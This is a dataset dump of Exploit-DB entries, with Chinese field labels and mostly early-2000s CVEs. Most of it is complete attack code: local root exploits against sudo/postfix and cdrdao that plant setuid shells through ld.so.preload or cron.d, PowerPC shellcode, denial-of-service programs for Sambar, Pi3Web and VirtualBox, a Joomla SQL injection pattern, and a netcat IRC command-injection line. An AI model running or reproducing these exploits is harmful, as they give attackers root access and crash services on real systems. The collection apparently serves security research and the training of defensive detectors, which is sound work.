QLWD/code_shield huggingface dataset:
标题: Sudo 1.6.3 - Unclean Environment Variable Privilege Escalation EDB-ID: 21227 CVE: 2002-0043 类型: LOCAL 平台: LINUX 发布日期: 2002-01-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/3871/info

Sudo is a freely available, open source permissions management software package available for the Linux and Unix operating systems. It is maintained by Todd C. Miller.

Under some circumstances, sudo does not properly sanitize the environment it executes programs with. In the event that sudo is used to run a program such as an MTA with root privileges, this could result in a local user passing unsafe data to the program via environment variables. From these environment variables the user may be able to execute commands as root, and potentially gain elevated privileges.

#!/bin/sh
#
# root shell exploit for postfix + sudo
# tested on debian powerpc unstable
#
# by Charles 'core' Stevenson <core@bokeoa.com>

# Put your password here if you're not in the sudoers file
PASSWORD=wdnownz

echo -e "sudo exploit by core <core@bokeoa.com>\n"

echo "Setting up postfix config directory..."
/bin/cp -r /etc/postfix /tmp

echo "Adding malicious debugger command..."
echo "debugger_command = /bin/cp /bin/sh /tmp/sh; chmod 4755 /tmp/sh">>/tmp/postfix/main.cf

echo "Setting up environment..."
export MAIL_CONFIG=/tmp/postfix
export MAIL_DEBUG=

sleep 2

echo "Trying to exploit..."
echo -e "$PASSWORD\n"|/usr/bin/sudo su -

sleep 2

echo "We should have a root shell let's check..."
ls -l /tmp/sh

echo "Cleaning up..."
rm -rf /tmp/postfix

echo "Attempting to run root shell..."
/tmp/sh URL: https://www.exploit-db.com/exploits/21227
标题: Oracle VM VirtualBox 4.1 - Local Denial of Service EDB-ID: 21224 CVE: 2012-3221 类型: DOS 平台: LINUX_X86-64 发布日期: 2012-09-10 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/55471/info

Oracle VM VirtualBox is prone to a local denial-of-service vulnerability. 

Attackers can exploit this issue to cause denial-of-service conditions.
*/

/** This software is provided by the copyright owner "as is" and any
 *  expressed or implied warranties, including, but not limited to,
 *  the implied warranties of merchantability and fitness for a particular
 *  purpose are disclaimed. In no event shall the copyright owner be
 *  liable for any direct, indirect, incidential, special, exemplary or
 *  consequential damages, including, but not limited to, procurement
 *  of substitute goods or services, loss of use, data or profits or
 *  business interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including negligence
 *  or otherwise, arising in any way out of the use of this software,
 *  even if advised of the possibility of such damage.
 *
 *  Copyright (c) 2012 halfdog <me (%) halfdog.net>
 *
 *  Compile: gcc -o RtcInt RtcInt.c
 *  Usage: ./RtcInt 
 */
int main(int argc, char **argv) {
  asm (
    "int $0x8;"
    : // output: none
    : // input: none
    :"%eax", "%ebx", "%ecx", "%edx"   // clobbered register
  );
  return(0);
} URL: https://www.exploit-db.com/exploits/21224
标题: CDRDAO 1.1.x - Home Directory Configuration File Symbolic Link (2) EDB-ID: 21217 CVE: 2002-0137 类型: LOCAL 平台: LINUX 发布日期: 2002-01-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/3865/info
 
CDRDAO is a freely available, open source CD recording software package available for the Unix and Linux Operating Systems. It is maintained by Andreas Mueller.
 
When CDRDAO saves it's configuration to the .cdrdao file in a user's home directory, the file is saved with root ownership. Additionally, CDRDAO does not check for the previous existence of this file. Since the cdrdao executable is typically installed setuid root, it is possible for a user to create this file as a symbolic link, which could result in the overwriting of root-owned files, or potentially allow the user execute commands as root.

#!/bin/bash

## cdrdaohack.sh by Jens "atomi" Steube

ROOTEXECDIR="/etc/cron.d/cdr"
CDRDAO="/usr/bin/cdrdao"
USERCONF="$HOME/.cdrdao"

echo "Testing $CDRDAO"
if [ ! -u $CDRDAO ]; then
  echo "ERROR: $CDRDAO is not setuid or does not exist"
  exit 1
fi

echo "Generating Helper Files"

cat > /tmp/daosh.c << EOF
int main () { 
setuid(0); setgid(0);
unlink("/tmp/dao.sh");
unlink("/tmp/daosh.c");
unlink("/etc/cron.d/cdr");
unlink("$HOME/.cdrdao");
execl("/bin/bash","bash","-i",0);
}
EOF

cat > /tmp/dao.sh << EOF
cc -o /tmp/daosh /tmp/daosh.c >/dev/null 2>&1
chown root /tmp/daosh >/dev/null 2>&1
chgrp root /tmp/daosh >/dev/null 2>&1
chmod 6755 /tmp/daosh >/dev/null 2>&1
exit 0
EOF

chmod 700 /tmp/dao.sh

echo "Backing up original $USERCONF file to $USERCONF.orig"
mv $USERCONF $USERCONF.orig >/dev/null 2>&1

echo "Creating Symlink on $USERCONF to $ROOTEXECDIR"
ln -s $ROOTEXECDIR $USERCONF

echo "Executing $CDRDAO"

$CDRDAO write --save --device '
* * * * * root /tmp/dao.sh >/dev/null 2>&1
#' --buffers '
' . >/dev/null 2>&1

echo "Waiting for Rootshell, wait at least 3 minutes"
while [ ! -u /tmp/daosh ]; do
  echo -n "."
  sleep 1
done

echo
echo "Entering Rootshell and removing Helper Files"
echo "Have Phun :-)"
/tmp/daosh URL: https://www.exploit-db.com/exploits/21217
标题: CDRDAO 1.1.x - Home Directory Configuration File Symbolic Link (3) EDB-ID: 21218 CVE: 2002-0137 类型: LOCAL 平台: LINUX 发布日期: 2002-01-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/3865/info
  
CDRDAO is a freely available, open source CD recording software package available for the Unix and Linux Operating Systems. It is maintained by Andreas Mueller.
  
When CDRDAO saves it's configuration to the .cdrdao file in a user's home directory, the file is saved with root ownership. Additionally, CDRDAO does not check for the previous existence of this file. Since the cdrdao executable is typically installed setuid root, it is possible for a user to create this file as a symbolic link, which could result in the overwriting of root-owned files, or potentially allow the user execute commands as root.

#!/bin/sh
# cdrdao local root exploit
# newbug [at] chroot.org
# IRC: irc.chroot.org #chroot
# May 2005
echo "cdrdao private exploit"
echo "This exploit only for Mandrake series"
echo "newbug [at] chroot.org"
echo "May 2005"

echo "checking if cdrdao is setuid ...";
if [ ! -u /usr/bin/cdrdao ]; then
        echo "[-] Failed";
        exit
fi
echo "[+] done.";
echo "checking if /etc/ld.so.preload already exist ..."
if [ -f /etc/ld.so.preload ]; then
        echo "[-] Failed."
        exit
else
        echo "[+] done."
fi

echo "checking if ~/.cdrdao already exist ..."
if [ -f ~/.cdrdao ]; then
        rm -rf ~/.cdrdao
fi
echo "[+] done."

cd /tmp

echo "preparing hook library ..."
cat >ld.so.c<<EOF
#include <stdlib.h>
uid_t getuid()
{
        return 0;
}
EOF
echo "[+] done."
echo "preparing shell program ..."
cat >sh.c <<EOF
#include <stdio.h>
#include <unistd.h>

int main(int argc,char **argv)
{
        setreuid(0,0);
        setgid(0);

        unlink("/tmp/ld.so");
        if(getuid())
        {
                printf("[-] Failed.\n");
                unlink(argv[0]);
                exit(0);
        }
        printf("[+] Congratulation, You win the game !!\n");
        unlink("/etc/ld.so.preload");

        execl("/bin/bash","bash",(char *)0);

        return 0;
}
EOF
echo "[+] done."

echo "link .cdrdao ==> /etc/ld.so.preload ..."
ln -sf /etc/ld.so.preload ~/.cdrdao
echo "[+] done."

echo "compile hook library ..."
gcc -shared -o ld.so ld.so.c
echo "[+] done."
echo "compile shell program ..."
gcc -o sh sh.c
echo "[+] done."

umask 0

echo "run cdrdao ..."
cdrdao unlock --save >/dev/null 2>&1
echo "[+] done."

echo "checking if /etc/ld.so.preload created successful..."
if [ -f /etc/ld.so.preload ]; then
        echo "[+] done."
else
        echo "[-] Failed."
        exit
fi
echo "/tmp/ld.so">/etc/ld.so.preload
rm -f /tmp/sh.c
rm -f /tmp/ld.so.c
su -c "chown root.root /tmp/sh;chmod 4755 /tmp/sh" >/dev/null 2>&1
echo "!@#\$@%#$%#$%!@%^"
/tmp/sh URL: https://www.exploit-db.com/exploits/21218
标题: Sambar Server 5.1 - Sample Script Denial of Service EDB-ID: 21228 CVE: 2002-0128 类型: DOS 平台: WINDOWS 发布日期: 2002-02-06 漏洞利用脚本: // source: https://www.securityfocus.com/bid/3885/info

Sambar Server is a multi-threaded web server which will run on Microsoft Windows 9x/ME/NT/2000 operating systems.

It is possible to cause a denial of service to Sambar Server by sending consecutive excessively long requests to the 'cgitest.exe' sample script.

The possibility exists that this issue may be the result of improper bounds checking. As a result, this vulnerability may potentially be used to execute arbitrary code on the host running the vulnerable software. Though this has not been confirmed.

While this issue was reported for Sambar Server 5.1, other versions may also be affected.

/*********************************************************************
**********
**
**               06.02.2002 - GREETZ TO WbC-BoArD & YAST CREW

**
**               Compiled with gcc under linux with kernel 2.4.17

**
**               Programname: Sambar Server 5.0  Manufacturer:Jalyn

**
**********************************************************************
*********/

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

#define SERVER_PORT 80
#define MAX_MSG 100

  int sd, rc, i,j;
  char buf[5000];
  char msgtosnd[5024];
  char msgtoget[102400];
  char source[200000];
  struct sockaddr_in localAddr, servAddr;
  struct hostent *h;
  FILE *f1;

int main (int argc, char *argv[]) {
printf("Sleepy of Yast presents \"Sambar Server Production 5.0
Crasher\"\n");
if(argc != 2)
{
printf(">>> usage: %s <ip>",argv[0]);exit(0);
};
h = gethostbyname(argv[1]);
if(h==NULL)
{
printf("%s: unknown host '%s'\n",argv[0],argv[1]);
exit(1);
}
servAddr.sin_family = h->h_addrtype;
memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0],
h->h_length);
servAddr.sin_port = htons(SERVER_PORT);
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd<0)
{
perror("cannot open socket ");
exit(1);
}

localAddr.sin_family = AF_INET;
localAddr.sin_addr.s_addr = htonl(INADDR_ANY);
localAddr.sin_port = htons(0);
rc = bind(sd, (struct sockaddr *) &localAddr, sizeof(localAddr));

if(rc<0)
{
printf("%s: cannot bind port TCP %u\n",argv[0],SERVER_PORT);
perror("error ");
exit(1);
}
rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr));
if(rc<0)
{
perror("cannot connect ");
exit(1);
};
strcpy(buf,"A");
fprintf(stderr,"Entering Loop\n");
for(i=1;i<4000;i++)
{
strcat(buf,"A");
}
sprintf(msgtosnd,"GET /cgi-win/cgitest.exe?%s HTTP/1.1\nhost:
localhost\n\n\n",buf);
for(j=0;j<5;j++)
{
send(sd,msgtosnd,5024,0);
}
printf("\n\n BOOOOM");
} URL: https://www.exploit-db.com/exploits/21228
标题: CDRDAO 1.1.x - Home Directory Configuration File Symbolic Link (4) EDB-ID: 21219 CVE: 2002-0137 类型: LOCAL 平台: LINUX 发布日期: 2002-01-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/3865/info
   
CDRDAO is a freely available, open source CD recording software package available for the Unix and Linux Operating Systems. It is maintained by Andreas Mueller.
   
When CDRDAO saves it's configuration to the .cdrdao file in a user's home directory, the file is saved with root ownership. Additionally, CDRDAO does not check for the previous existence of this file. Since the cdrdao executable is typically installed setuid root, it is possible for a user to create this file as a symbolic link, which could result in the overwriting of root-owned files, or potentially allow the user execute commands as root.



#!/bin/sh
DIR=`pwd`
echo ""
echo "cdrdao local root exploit - gr doesn't protect you this time"
echo "Karol Wiêsek <appelast*drumnbass.art.pl>"
echo ""
sleep 2
umask 000
echo -n "[*] Checking if /etc/ld.so.preload doesn't exist ... "
if [ -f /etc/ld.so.preload ]; then
echo "WRONG"
echo "/etc/ld.so.preload exists, write another exploit ;P"
exit
else
echo "OK"
fi
echo -n "[*] Checking if su is setuid ... "
if [ -u /bin/su ];then
echo "OK"
else
echo "WRONG"
exit
fi
echo -n "[*] Creating evil *uid() library ... "
cat > getuid_lib.c << _EOF
int getuid(void) {
 return 0; }
_EOF
gcc -o getuid_lib.o -c getuid_lib.c
ld -shared -o getuid_lib.so getuid_lib.o
rm -f getuid_lib.c getuid_lib.o
if [ -f ./getuid_lib.so ]; then
echo "OK"
else
echo "WRONG"
fi
echo -n "[*] Creating suidshell ... "
cat > suid.c << _EOF
int main(void) {
 setgid(0); setuid(0);
 unlink("./suid");
 execl("/bin/sh","sh",0); }
_EOF
gcc -o suid suid.c
rm -f suid.c
if [ -x ./suid ];then
echo "OK"
else
echo "WRONG"
exit
fi
echo -n "[*] Exploiting cdrdao ... "
ln -sf /etc/ld.so.preload $HOME/.cdrdao
if [ ! -L $HOME/.cdrdao ];then
echo "Could'n link to \$HOME/.cdrdao"
exit
fi
cdrdao unlock --save 2>/dev/null
>/etc/ld.so.preload
echo "$DIR/getuid_lib.so" > /etc/ld.so.preload
su - -c "rm /etc/ld.so.preload; chown root:root $DIR/suid; chmod +s $DIR/suid"
if [ -s ./suid ];then
echo "OK"
else
echo "WRONG"
exit
fi
rm -f getuid_lib.so
unlink $HOME/.cdrdao
echo "Entering rootshell ... ;]"
./suid URL: https://www.exploit-db.com/exploits/21219
标题: Joomla! Component RokModule 1.1 - 'module' Blind SQL Injection EDB-ID: 21221 CVE: 2010-1480 2010-1479 类型: WEBAPPS 平台: PHP 发布日期: 2012-09-10 漏洞利用脚本: Titulo: Joomla Component RokModule Blind SQLi [module] Vulnerability

Nombre del Componente: Com_rokmodule

Empresa: http://www.rockettheme.com/

Testeado: Linux Backtrack

Autor: Yarolinux Para WebSecurityDev
Twitter: @Yarolinux

Fecha: 09/09/2012

Bueno la Injeccion Va de la siguiente manera:

http://localhost/index.php?option=com_rokmodule&tmpl=component&type=raw&module=[sqli]

http://localhost/web/index.php?option=com_rokmodule&tmpl=component&type=raw&module=[sqli]or[BlindSQLi]


Ok! Eso es todo Difrutenlo!

Estamos trabajando en un laboratorio testeandolo en Joomla 1.7, Muy 
pronto resultados :D

Greetz: Dylan Irzi & WebSecurityDev URL: https://www.exploit-db.com/exploits/21221
标题: IMLib2 - Home Environment Variable Buffer Overflow EDB-ID: 21226 CVE: 2002-0143 类型: LOCAL 平台: LINUX 发布日期: 2002-01-13 漏洞利用脚本: // source: https://www.securityfocus.com/bid/3868/info

Imlib2 is a freely available, open source graphics library available for the Linux and Unix operating systems. It is maintained by Michael Jennings.

Imlib2 is installed on many operating systems and linked with graphical programs such as Eterm. Some programs linked with the library are setuid, such as Eterm which is a setuid utmp program. In some cases, a buffer overflow in the $HOME environment variable may occurs, such as when the $HOME environment variable is filled with 4128 bytes and Eterm is executed. This can allow a local user to overwrite stack variables up through the return address, and execute arbitrary code. As the Eterm program is setgid utmp, this code would be executed with utmp privileges. 

/* execve.c
 *
 * PowerPC Linux Shellcode
 *
 * by Charles Stevenson <core@bokeoa.com>
 *
 * original execve by my good friend
 * Kevin Finisterre  <dotslash@snosoft.com>
 */

#include <stdio.h>

char shellcode[] =
/* setgid(43) utmp */
        "\x38\x60\x01\x37"              /* 100004a0: li
r3,311             */
        "\x38\x63\xfe\xf4"              /* 100004a4: addi
r3,r3,-268         */
        "\x3b\xc0\x01\x70"              /* 100004a8: li
r30,368            */
        "\x7f\xc0\x1e\x70"              /* 100004ac: srawi
r0,r30,3           */
        "\x44\xff\xff\x02"              /* 100004b0:
sc                         */
/* execve("/bin/sh") */
        "\x7c\xa5\x2a\x78"              /* 100004b0: xor
r5,r5,r5        */
        "\x40\x82\xff\xed"              /* 100004b4: bnel+      100004a0
<main> */
        "\x7f\xe8\x02\xa6"              /* 100004b8: mflr
r31             */
        "\x3b\xff\x01\x30"              /* 100004bc: addi
r31,r31,304     */
        "\x38\x7f\xfe\xf4"              /* 100004c0: addi
r3,r31,-268     */
        "\x90\x61\xff\xf8"              /* 100004c4: stw
r3,-8(r1)       */
        "\x90\xa1\xff\xfc"              /* 100004c8: stw
r5,-4(r1)       */
        "\x38\x81\xff\xf8"              /* 100004cc: addi
r4,r1,-8        */
        "\x3b\xc0\x01\x60"              /* 100004d0: li
r30,352         */
        "\x7f\xc0\x2e\x70"              /* 100004d4: srawi
r0,r30,5        */
        "\x44\xff\xff\x02"              /* 100004d8:
sc                         */
        "\x2f\x62\x69\x6e"              /* 100004dc: cmpdi
cr6,r2,26990    */
        "\x2f\x73\x68\x00";             /* 100004e0: cmpdi
cr6,r19,26624   */

int main(int argc, char **argv) {
   fprintf(stderr,"sizeof(shellcode)=%d\n",sizeof(shellcode));
   //__asm__("b shellcode");
   printf("%s",shellcode);
   return 0;
} URL: https://www.exploit-db.com/exploits/21226
标题: CDRDAO 1.1.x - Home Directory Configuration File Symbolic Link (1) EDB-ID: 21216 CVE: 2002-0137 类型: LOCAL 平台: LINUX 发布日期: 2002-01-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/3865/info

CDRDAO is a freely available, open source CD recording software package available for the Unix and Linux Operating Systems. It is maintained by Andreas Mueller.

When CDRDAO saves it's configuration to the .cdrdao file in a user's home directory, the file is saved with root ownership. Additionally, CDRDAO does not check for the previous existence of this file. Since the cdrdao executable is typically installed setuid root, it is possible for a user to create this file as a symbolic link, which could result in the overwriting of root-owned files, or potentially allow the user execute commands as root.

#!/bin/sh

if [ "$1" ]; then
 cat > /tmp/t.c <<EOF
#include <stdio.h>
int     main()
{
 int     i;
 while (fscanf(stdin, "%i", &i) > 0)
 {
  printf("%c%c", (i & 0xff00) >> 8, i & 0xff);
 }
 return 0;
}
EOF
 cat > /tmp/t.toc <<EOF
CD_ROM
TRACK MODE1_RAW
FILE "$1" 0
EOF
 gcc /tmp/t.c -o /tmp/show
 echo `cdrdao show-data -v 0 --force /tmp/t.toc 2>&1 | grep -v WARNING | sed 's/.*://g' ` | /tmp/show
 rm -f /tmp/t.c /tmp/show /tmp/t.toc
else
 echo "Syntax: $0 filename"
fi URL: https://www.exploit-db.com/exploits/21216
标题: John Roy Pi3Web 2.0 For Windows - Remote Buffer Overflow EDB-ID: 21225 CVE: 2002-0142 类型: REMOTE 平台: WINDOWS 发布日期: 2002-01-14 漏洞利用脚本: // source: https://www.securityfocus.com/bid/3866/info

John Roy Pi3Web is a standard web server which includes CGI and ISAPI support. Pi3Web uses multithreading to handle system requests. Pi3Web is available for Windows, Linux and Solaris.

Due to a buffer overflow vulnerability in John Roy Pi3Web web server, it is possbile for an attacker to cause the server to stop responding and possibly execute code.

Reportedly the problem is due to the CGI parameter's handling of unusually crafted requests. 

/* Pi3Web 2.0.1 DoS - Pr00f of concept.
*
* Vulnerable systems: Pi3Web 2.0.1 (maybe others)
* Vendor: www.johnroy.com/pi3  - http://pi3web.sourceforge.net/
* Patch: no yet.
*
* Info: Pi3Web Server is vulnerable to a denial of Service.
*  when a malformed HTTP Request is done the webserver hangs due to an stack overflow.
*   GET /////////..[354]../////////
*
* Found by aT4r@3wdesign.es  04/26/2003
* Copyright (c) 2003 www.3wdesign.es Security
* THIS SOFTWARE IS PROVIDED "AS IS" WITHOUT WARRANTIES.
* USE IT AT YOUR OWN RISK.
*
* #haxorcitos @ efnet Rocks!!!
* Feel The p0wer of aT4r, Drakar, [Back], |tyr|, Tarako, croulder
* Compiled with: lcc-win32 v3.3.
*
*/
#pragma comment (lib,"ws2_32")
#include <stdio.h>
#include <windows.h>
#include <winsock2.h>
#include <string.h>

char evilbuffer[1024],evilrequest[512],ip[15];
short port=80;


int isalive(int OPT)
{
 struct sockaddr_in haxorcitos;
 int fd;

 haxorcitos.sin_port = htons(port);
 haxorcitos.sin_family = AF_INET;
 haxorcitos.sin_addr.s_addr = inet_addr(ip);

 if ((fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
 {
  printf(" [-] Unable to Create Socket\n\n");
  return(0);
 }
 if (connect(fd,( struct sockaddr *)&haxorcitos,sizeof(haxorcitos)) == -1)
 {
  if (OPT==0)
   printf(" [+] Exploit Success. Remote webserver shutdown\n");
  else
   printf(" [-] Unable to connect\n\n");
  return(0);
 }
 if (OPT==0)
 {
  printf(" [-] Exploit Failed. System Patched?\n\n");
 }
 else
 {
  send(fd,evilbuffer, strlen(evilbuffer),0);
  printf(" [+] Data Sent. Now Checking Host\n");
  closesocket(fd);

 }
return(1);
}


void usage(void)
{
 printf(" [+] Usage: PiDoS.exe HOST [port]\n\n"); exit(1);
}


void main(int argc,char *argv[])
{
 WSADATA ws;

 if (WSAStartup( MAKEWORD(1,1), &ws )!=0)
 {
  printf(" [+] WSAStartup() error\n");
  exit(0);
 }

 printf("\n . .. ...:Pi3Web Denial of Service (aT4r@3wdesign.es) :... 
..\n\n");

 if ((argc!=2) && (argc!=3))
  usage();

 strcpy(ip,argv[1]);
 if (argc==3) port=atoi(argv[2]);

 memset(evilrequest,0,512);
 memset(evilbuffer,0,1024);
 memset(evilrequest,'/',354);
 //sprintf(evilbuffer, "GET %s\r\n",evilrequest);
 sprintf(evilbuffer,"GET %s HTTP/1.0\r\nUser-Agent: foo\r\nHost: 
%s\r\n\r\n\r\n",evilrequest,argv[2]);

 if (isalive(1))
  { sleep(1000); isalive(0);}

} URL: https://www.exploit-db.com/exploits/21225
标题: AT 3.1.8 - Formatted Time Heap Overflow EDB-ID: 21229 CVE: 2002-0004 类型: LOCAL 平台: LINUX 发布日期: 2002-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/3886/info

at is a freely available, open source scheduler package. It is included with various Unix and Linux operating systems, and maintained by public domain.

Under some circumstances, at does not correctly handle time input. A local user attempting to schedule a task via commandline execution and using a maliciously crafted time format can cause heap corruption in at. As the at program is installed setuid root in most implementations, this could result in the execution of arbitrary code with administrative privileges. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21229.tar.gz URL: https://www.exploit-db.com/exploits/21229
标题: Snort 1.8.3 - ICMP Denial of Service EDB-ID: 21213 CVE: 2002-0115 类型: DOS 平台: MULTIPLE 发布日期: 2002-01-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/3849/info

Snort is a network intrusion detection system (IDS). It is originally written for Linux and Unix systems, although it has also been ported to run under Microsoft Windows. Snort is capable of flexible and powerful content analysis of network traffic, and can detect a large number of attack attempts.

An error exists in some versions of Snort. If a maliciously constructed ICMP packet is received, the daemon will crash. This is caused because Snort erroneously defines the minimum ICMP header size as 8 bytes. A restart will be required to regain normally functionality. 

ping -c1 -s1 host URL: https://www.exploit-db.com/exploits/21213
标题: X-Chat 1.x - CTCP Ping Remote IRC Command Execution EDB-ID: 21210 CVE: 2002-0006 类型: REMOTE 平台: LINUX 发布日期: 2002-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/3830/info

X-Chat is a graphical client for IRC. It requires the GTK+ toolkit, and is available for many Linux and Unix operating systems.

If a CTCP ping request includes escaped newline characters and additional IRC commands, these commands may be executed by the vulnerable client. It is possible to gain operator status in channels owned by the vulnerable user, or to use their identity to initiate social engineering attacks.

Although this vulnerability exists in recent versions of X-Chat, the option to expand characters has been disabled by default since version 1.4.3. 

cat 21210.exploit - | netcat server 6667 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21210.exploit URL: https://www.exploit-db.com/exploits/21210